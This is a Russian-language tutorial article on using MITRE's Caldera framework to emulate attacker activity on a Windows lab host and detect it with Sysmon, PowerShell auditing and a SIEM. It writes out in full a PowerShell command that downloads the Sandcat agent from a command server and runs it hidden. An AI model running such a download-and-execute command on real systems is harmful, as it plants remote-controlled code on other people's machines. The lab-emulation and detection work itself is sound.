Содержание статьи
Речь пойдет об автоматизированной системе эмуляции действий злоумышленников под названием Caldera. Мы расскажем об ее устройстве, настройке и о том, как эти нехорошие активности можно поймать с помощью бесплатных средств для винды — утилиты Sysmon и правильной настройки политик аудита в системе. Статья рассчитана на новичков и содержит много полезных практических советов. Погнали!
warning
Информация предоставлена исключительно в учебных целях. Пожалуйста, соблюдай законодательство и не применяй изложенную в статье информацию в незаконных целях.
Caldera — это автоматизированная система эмуляции действий злоумышленников на конечных рабочих станциях, созданная компанией MITRE. Caldera позволяет проводить практические тесты информационной безопасности с использованием различных сценариев атак. Система с помощью фреймворка ATT&CK эмулирует поведение атакующего, как будто происходит реальное вторжение. Caldera поставляется с несколькими заранее созданными шаблонами поведения злоумышленников, а дополнительные плагины к системе подключают новые функции и паттерны атак.
В системе Caldera два компонента:
- основная система. Это код фреймворка из репозитория. Он включает в себя асинхронный C&C-сервер (C2) с REST API и веб‑интерфейсом;
- плагины. Расширяют основные возможности фреймворка и предоставляют дополнительные функции. К примеру, пользователь может вести отчетность и привлекать различных агентов для установки на конечные точки.
Вот список всех актуальных на текущий момент плагинов, установленных по умолчанию в контейнере:
- Access — инструменты первоначального доступа для Red Team (атакующей команды);
- Atomic — проект Atomic Red Team, плагин позволяет сопоставлять вредоносную активность с соответствующей тактикой и запускать мини‑активности;
- Builder — динамическая компиляция полезных нагрузок для агента;
- CalTack — встраивает в Caldera веб‑сайт ATT&CK;
- Compass — добавляет визуализацию ATT&CK;
- Debrief — выполняет анализ проводимых компаний и аналитику;
- Emu — планы эмуляции действий различных групп злоумышленников от CTID (Center for Threat-Informed Defense);
- Fieldmanual — ведение документации;
- GameBoard — мониторинг совместных действий «красных» и «синих» команд;
- Human — имитация действий пользователей на конечных точках, чтобы запутать атакующих;
- Manx — поддержка полезных нагрузок Shell и Reverse Shell;
- Mock — имитация агентов в операциях;
- Response — плагин для автономного реагирования на инциденты (да, можно настроить автоматический «блютиминг» от Caldera на ее же собственный «редтиминг»);
- Sandcat — агент по умолчанию, используемый в операциях;
- SSL — добавление поддержки HTTPS для Caldera;
- Stockpile — склад различных техник и готовых профилей злоумышленника;
- Training — сертификация и учебный курс, позволяющий стать экспертом в сфере Caldera; состоит из заданий, которые надо выполнить в Caldera для получения статуса специалиста.
Подготовка стенда
Можно установить Caldera в виде Docker-контейнера на машину с Windows. В таком случае не нужно будет возиться с интерпретаторами Python и другими связанными компонентами, да и контейнер проще в настройке для новичков. Контейнер устанавливаем с помощью приложения Docker Desktop, на хосте должно присутствовать хотя бы два ненагруженных ядра процессора и два гигабайта оперативы.
Вот так выглядит установленный и запущенный контейнер. Обрати внимание на проброшенные порты.
Нам нужно перейти в логи контейнера, чтобы посмотреть логин и пароль для входа на веб‑интерфейс. Для этого щелкни на имени контейнера, затем перейди на вкладку Logs. Данные для входа выделены красным, они генерируются каждый раз заново при запуске контейнера. Учти, что при разворачивании проекта из сырцов имя пользователя по умолчанию — red
, пароль — admin
(или ищи их в конфигах — conf/
). Интерфейс может несколько отличаться от представленного варианта.
Для входа в веб‑интерфейс на машине с Docker Desktop используется адрес http://
(такой порт слушается на локалхосте и пробрасывается внутрь контейнера на порт 8888
). Используй найденные логин и пароль из логов контейнера.
Перед тем как начать нашу атакующую операцию, давай подробно рассмотрим матчасть.
Начало работы с Caldera
Практически любая атака всегда выполняется с внешним управлением — то есть с применением командного сервера (C&C). Чтобы «дергать за ниточки» цель, необходимо обеспечить связь с атакуемого хоста, поэтому на него устанавливается специальный агент.
В веб‑интерфейсе переходим на вкладку agents
, затем в открывшемся виджете нажимаем на кнопку подготовки агента.
Теперь следует определить тип агента (GoLang-агент — самый популярный), указать платформу, на которой будем его разворачивать, и остается лишь заполнить адрес нашего сервера управления (на котором у нас развернут контейнер) с указанием порта веб‑интерфейса.
После заполнения ты увидишь команду для установки агента на хосте, с параметрами, которые мы указали выше:
$server="http://192.168.0.242:18890"; $url="$server/file/download"; $wc=New-Object System.Net.WebClient; $wc.Headers.add("platform","windows"); $wc.Headers.add("file","sandcat.go"); $data=$wc.DownloadData($url); $name=$wc.ResponseHeaders["Content-Disposition"].Substring($wc.ResponseHeaders["Content-Disposition"].IndexOf("filename=")+9).Replace("`"",""); get-process | ? | stop-process -f; rm -force "C:\Users\Public$name.exe" -ea ignore; [io.file]::WriteAllBytes("C:\Users\Public$name.exe",$data) | Out-Null; Start-Process -FilePath C:\Users\Public$name.exe -ArgumentList "-server $server -group red" -WindowStyle hidden;
Выполним эту команду в PowerShell на машине, где планируется эмулировать активность атакующих. Для лучшего эффекта рекомендуем установить агент с правами администратора. По умолчанию Windows будет нам мешать, но мы создадим необходимые исключения для корректной установки. Интересно, что свойства работы этого агента занесены в базу знаний о вредоносах в отдельной статье Microsoft.
Если установка прошла успешно, в веб‑интерфейсе появится следующее.
Щелкнув на этой строке, мы сможем увидеть параметры хоста и настройки агента.
Агент пока только установлен и не выполняет никаких действий. Теперь подготовим логирование на нашем хосте.
Подготовка мониторинга событий — Sysmon и журналы Windows
Стандартные инструменты логирования ОС Windows не позволят нам увидеть множество интересных событий, происходящих в кишках системы, поэтому на целевую машину мы добавим Sysmon и немного волшебства.
Системный монитор (Sysmon) — это служба Windows и драйвер устройства. Раньше эта утилита была частью пакета программного обеспечения Sysinternals, теперь принадлежащего Microsoft. Установка Sysmon позволяет отслеживать и регистрировать системные действия в журнале событий Windows. Он предоставляет подробные сведения о создании процессов, о сетевых подключениях и изменениях времени создания файлов.
Sysmon очень легко установить и развернуть. Загрузить тулзу можно с сайта Microsoft (кстати, есть версия и для Linux). Программа запускается в качестве службы. Основную сложность представляет настройка конфигурации, с использованием которой утилита выполняет свою работу, но, к счастью, есть уже готовые и обкатанные варианты.
Рекомендуем выбрать конфигурацию по умолчанию — default (sysmonconfig.xml). Для установки конфигурации используй такую команду:
sysmon.exe -accepteula -i sysmonconfig.xml
Отследить вредоносные или аномальные явления в системе можно, собирая данные, которые генерируют агенты сбора событий Windows (Event Collector) или SIEM (winlogbeat и другие сторонние средства). При расследовании киберинцидентов это позволит понять, как злоумышленники закрепляются и действуют в сети. Так, благодаря анализу событий в ОС мы узнали, что в компонентах браузера Chrome используется защита производства компании ESET.
Для работы с событиями журналов Windows мы будем использовать современную SIEM-систему. На скриншотах ниже показан продукт «Лаборатории Касперского» KUMA (Kaspersky Unified Monitoring and Analysis Platform). В целом не так важно, как собирать эти события и где их анализировать, главное — содержание!
Запуск Caldera-агента
Итак, мы имеем на хосте настроенное по умолчанию логирование Windows и установленный с некой конфигурацией Sysmon. Теперь запустим агент‑имитатор и посмотрим, что получится.
В системе мониторинга (SIEM) мы отключили все правила корреляции (которые подсветили бы все подозрительные активности). Наша задача — найти подозрительные события вручную. События отсортированы по параметру EventRecordID
журналов ОС Windows — в SIEM это столбец ExternalID
.
Что мы видим? Произошел запуск оснастки PowerShell (события до ID 50002
), далее глаз цепляется за событие, в ходе которого из процесса PowerShell создается новый файл (в столбце Name
, который обозначает суть события, стоит File
). Созданный файл с именем sandcat-go.
запускается на выполнение (Name
= Image
). Здесь же мы видим его контрольную сумму (ее можно использовать как IOC для поиска в различных базах, например на VirusTotal). Вдобавок у этого файла нет цифровой подписи. Подозрительно? Вроде бы да.
Мы видим, что в подписи отсутствуют значения ряда полей. Сравни полученный результат с подписью нормального файла, какого‑нибудь виндового системного. В отличие от sandcat-go.
, у него заполнена информация о компании и другие характерные строки.
Файл однозначно вызывает сомнения. Интересно, что делает этот подозрительный объект после установки?
В первую очередь вредоносной программе нужно закрепиться в системе, и она прописывает себя в автозапуск в качестве службы, используя ключи реестра. Что дальше? У подобных файлов обычно имеется внешнее управление, а значит, должны присутствовать и сетевые соединения. Эти события логируются, и большой SIEM все видит (Name
= Network
).
В сетевой активности участвует сам сервер управления (Caldera), так как в настройках сетевой коммуникации агента не используется прокси.
Чего‑то не хватает, да? Кажется, мы упустили сами команды, которые происходили в PowerShell... А ведь их можно отыскать, стоит только немножко потрудиться. Для этого нужно настроить уровень логирования в системе. Нажимаем Winkey + R и запускаем gpedit.
. В разделе «Конфигурация компьютера → Administrative Templates → Windows Components → Windows PowerShell» включаем ведение аудита по следующим событиям.
В свойствах первого (вести логирование модулей) пропиши в качестве Value
знак *
— это включит логирование всех модулей PowerShell.
А в свойствах второго (включить регистрацию блоков сценариев PowerShell) устанавливаем флажок.
Чтобы найти логи, нажми Win-R, запусти eventvwr
, а затем в окне Application and Services Logs перейди в раздел Microsoft → Windows → PowerShell → Operational. Для проверки введи в консоль PowerShell команду whoami
и найди ее в логах.
Теперь точно будет интереснее!
Начало атаки
Чтобы запустить атаку по заранее подготовленному сценарию, в веб‑интерфейсе Caldera выбираем пункт меню Operations
, затем придумываем имя операции и указываем активность, которая будет эмулироваться. В нашем случае это Discovery (один из этапов атак выполнения разведки, подробнее о нем читай на сайте MITRE, а дополнительные подробности — в этой статье). Также можно заполнить и другие параметры операции, но ты это сделаешь, когда наберешься опыта.
После нажатия кнопки Start агент начинает действовать, весь процесс последовательно отображается на экране, а звездами обозначаются успешно выполненные команды.
В ходе эмуляции атаки проверялись различные параметры: какие юзеры есть в системе, установлен ли антивирус и так далее. Проиллюстрируем в качестве примера, как Caldera определяет, присутствует ли в системе антивирус. Делается это с помощью тривиального WMI-запроса. Проверка показала, что на хосте установлен стандартный Windows Defender.
Вернемся к SIEM. Теперь среди собранных событий, которых внезапно стало больше, можно отследить, под учеткой какого пользователя действовали «злоумышленники» (его SID) и какие консольные команды они выполняли.
Попробуем немного усложнить задачу для защитников: будем использовать обфусцированные команды PowerShell и посмотрим, как они выглядят в логах. Для этого создадим новую операцию Obfuscation_Commands
с эмуляцией активностей червя. Функция обфускации настраивается в параметрах скрытности (stealth).
При выполнении операции можно запускать некоторые команды в консоли вручную и получать вывод.
Но ручная команда получилась необфусцированной. Посмотрим, что будет при запуске нашей «зачервленной» компании.
Команды запускаются с ключом -Enc
или -E
. Если ты однажды заметишь подобное, всегда обращай на это пристальное внимание: обычно это что‑то опасное. В журналах системы у нас происходит кое‑что поинтереснее: сначала выполнялась абракадабра, а потом мы явно видим эту команду (чудо аудита!). На иллюстрации стрелками указаны RecordID в журнале, соответствующие интересующим нас записям.
Таким образом, мы симулировали действия атакующего с помощью Caldera. С этим фреймворком легко провести атаку подобно Red Team и прокачать навыки Blue и Purple Team.
Выводы
Теперь ты готов тестировать свою инфраструктуру! В статье мы рассказали о базовых вещах, которые помогут быстрее начать пользоваться этим инструментом. Все шишки мы набили за тебя, но на всякий случай держи в помощь документацию.
Какие выводы можно сделать, проанализировав эту смоделированную атаку?
- Хранить журналы ОС и систем безопасности нужно не только на самой рабочей станции, но и в отдельном месте — там их злодей хотя бы не сотрет.
- Ведение расширенных журналов с помощью Sysmon всегда полезно и к тому же бесплатно. Но в зависимости от конфигурации может вырасти нагрузка на хост.
- Провести эмуляцию атак не так уж и сложно.
Для сбалансированной настройки политик аудита, в том числе для ведения журналов в различных системах, следует придерживаться рекомендаций Microsoft.